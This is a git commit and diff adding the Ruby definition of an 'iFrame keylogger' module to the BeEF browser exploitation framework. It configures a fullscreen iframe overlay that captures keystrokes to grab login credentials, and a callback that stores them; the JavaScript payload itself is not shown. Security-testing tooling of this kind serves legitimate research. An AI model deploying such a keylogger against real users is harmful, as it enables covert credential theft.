Added iFrame keylogger module: given a same-domain resource, creates a fullscreen overlay iframe, and attach a keylogger to it.

git-svn-id: https://beef.googlecode.com/svn/trunk@1082 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9

modules/persistence/iframe_keylogger/module.rb

@@ -0,0 +1,54 @@
+#
+#   Copyright 2011 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Iframe_keylogger < BeEF::Core::Command
+  
+  #
+  # Defines and set up the command module.
+  #
+  def initialize
+    super({
+      'Name' => 'iFrame keylogger',
+      'Description' => 'Creates a 100% by 100% iFrame overlay displaying the choosen resource, and add JS keylogging capabilities on that iFrame. Useful to grab same-domain login page credentials.',
+      'Category' => 'Misc',
+      'Author' => 'antisnatchor',
+      'Data' => [
+        {'name' => 'iFrameSrc', 'ui_label'=>'iFrame Src', 'type' => 'textarea', 'value' =>'/demos/secret_page.html', 'width' => '400px', 'height' => '50px'},
+        {'name' => 'sendBackInterval', 'ui_label' => 'Send Back Interval (ms)', 'value' => '2000', 'width'=>'100px' }
+
+      ],
+      'File' => __FILE__
+    })
+
+    # works in every latest browser (IE8, Firefox 5, Chrome 12, Safari 5) except Opera
+    set_target({
+      'verified_status' => VERIFIED_WORKING,
+      'browser_name' => ALL
+    })
+    set_target({
+      'verified_status' => VERIFIED_NOT_WORKING,
+      'browser_name' => O
+    })
+    
+    use_template!
+  end
+  
+  def callback
+    content = {}
+    content['keystrokes'] = @datastore['keystrokes']
+    save content
+  end
+  
+end